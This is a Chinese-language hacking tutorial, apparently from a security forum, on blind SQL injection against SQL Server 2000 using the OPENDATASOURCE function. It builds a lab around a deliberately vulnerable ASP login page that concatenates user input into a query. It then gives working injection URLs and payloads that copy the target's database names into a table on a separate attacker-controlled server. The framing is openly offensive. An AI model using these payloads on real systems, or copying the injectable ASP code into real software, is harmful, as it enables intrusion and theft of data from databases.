目前市面上的SQL Injection工具很多,最受推崇的当属NBSI2了。SQL Injection的方法在网上也是满天飞,大家认真学一下都会很快成为脚本入侵“高手”。可是无论是工具,还是众多方法,猜SQL数据的时候原理不外乎两种:一个是对方的WEB服务器在没有关闭错误提示的时候,让SQL出错来暴出想要的信息;一个是在对方的WEB服务器关闭错误提示的时候,采用 ASCII码拆半法分析。当关闭错误提示的时候,猜数据会很慢,遇到网速蜗牛的时候真是急死人,NBSI2此时还经常会出现“猜解错误,是否要重试”的警告对话框,真是麻烦。不过有了Opendatasource和Openrowset这两个函数,一切问题都应刃而解了。
在SQL联机从书的解释中,对没有定义为链接服务器名称的OLE DB数据源执行不常用查询时,使用特殊名称。在SQL Server 2000中,Openrowset和Opendatasource函数提供了连接信息,借以从OLE DB数据源访问数据。Openrowset和Opendatasource只应在引用不常访问的OLE DB数据源时使用。对于需要经常访问的数据源,应定义链接服务器。无论Opendatasource还是Openrowset都不能提供链接服务器定义的全部功能,包括安全管理和查询目录信息的能力。每次调用这些函数时,都必须提供所有的连接信息(包括密码)。简单来讲,这两个宏也就是不依靠链接服务器来进行分布式查循。
因为用Openrowset函数来直接获取注入数据库的信息的工具已经有了,我就不做详细地手工讲解了,在文章尾我会介绍此工具的简单用法,我这里着重来介绍一下Opendatasource的使用。联机丛书对Opendatasource宏的用法示例格式如下:
SELECT *
FROM Opendatasource(
'SQLOLEDB',
'Data Source=ServerName;User ID=MyUID;Password=MyPass'
).Northwind.dbo.Categories
我们完全可以用此语句获得数据库的库名、表名、列名、字段值的所有信息——如果你还是不明白,那就来看我表演。
我在192.168.8.10这台服务器上构建了一个测试环境,写了一个有漏洞的ASP代码。两段代码中的e.asp代码如下:
<form action=f.asp method=get>
帐号lcx<br>
密码<input type=text size=100 name=password>
<input type=submit value=submit>
</form>
f.asp代码如下:
<%
strSQLServerName = "127.0.0.1"
strSQLDBUserName = "sa"
strSQLDBPassword = "lcx"
strSQLDBName = "bbsuser"
Set conn = Server.CreateObject("ADODB.Connection")
strCon = "Provider=SQLOLEDB.1;Persist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & ";Password=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
conn.open strCon
sql2="select * from bbsuser where username='admin' and password='"&request("password")&"'"
set rs2=conn.execute(sql2)
%>
<br>
<%=" 执行的SQL语句是"&sql2%>
<%
rs2.close
set rs2=nothing
conn.close
set conn=nothing
%>
当在文本框提交“1’and db_name()>0”的时候,
我又在另一台服务器192.168.8.20装了一个SQL Server,sa的密码是lcx。因为Opendatasource宏走的是TCP协议,所以你要保证192.168.8.20的1433端口一定要被 192.168.8.10访问到。OK,测试环境构建完毕,下面一起来看看如何入侵。
小提示:SQL Server SP2版本如果默认装在Windows XP SP2下的话,1433端口是不会被外界访问到的,这一点需要注意,建议打上SP3补丁。
第一步:得到当前所有库名
我们先在192.168.8.20上建库名和表名,你如果在企业管理器图形界面下安装我也不反对,我是直接用查循分析器写的语句:
create database lcx
CREATE TABLE ku(name nvarchar(256) null);
CREATE TABLE biao(id int NULL,name nvarchar(256) null);
这样我们就建好了一个库lcx,有两个表分别是ku和biao。Ku这个表存放了一个列名是name,类型是nvarchar(256),biao这个表存放了两个列名,分别是int型的id和nvarchar(256)型的name列名。这里的库名、表名、列名的名字都是随便定的,你只要保证类型对就可以了。
我们先来温习一下得到所有库名的SQL语句,代码是“select name from master.dbo.sysdatabases”。如果你现在还不懂这句代码的话,可要恶补一下了。我们用一条语句得到192.168.8.10服务器上的所有数据库名。
insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.biao select name from master.dbo.sysdatabases--
在我们的测试环境上就是:
http://192.168.8.10/web/f.asp?password=1'insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases--
此时你跑去192.168.8.20的SQL上看一下KU这个表,你会惊奇发现对方所有的库名已经整齐的排好了。
说到这里很多人可能又要担心权限问题了,我可以负责任地告诉你,在Public权限下也是可以使用Opendatasource这个宏的。
得到所有的库了,你怎么才能知道那个是当前库呢?哈,你把语句换一下不就得了?改成如下的样子:
Insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.ku select db_name(0)--
可以了吗?在图4中,bbsuser是我们注入的当前库,我们来获得当前库的所有表名。
| PHP注入代码详解 | 04-06 | |
| PHP注入代码详解 | 03-16 | |
| Cmd模式下的入侵技术大全! | 01-22 | |
| SNMP口令的利用以及一些相关知识 | 01-13 | |
| 黑客知识系列菜鸟教程之Cookies欺 | 01-11 | |
| NBSI 注入分析跟踪报告(MSSQL篇) | 01-08 | |
| Windows2000安全漏洞集锦 | 12-30 | |
| 带注释手动注入脚本命令整理 | 12-21 | |
| 黑客系列知识之不要小看了ping命 | 12-09 | |
| 非常经典的MsSql注射资料 | 11-29 | |
| 什么是注入式攻击(黑客入侵必学知 | 10-27 | |
| 经典MySQL语句收藏(高手必备) | 10-19 | |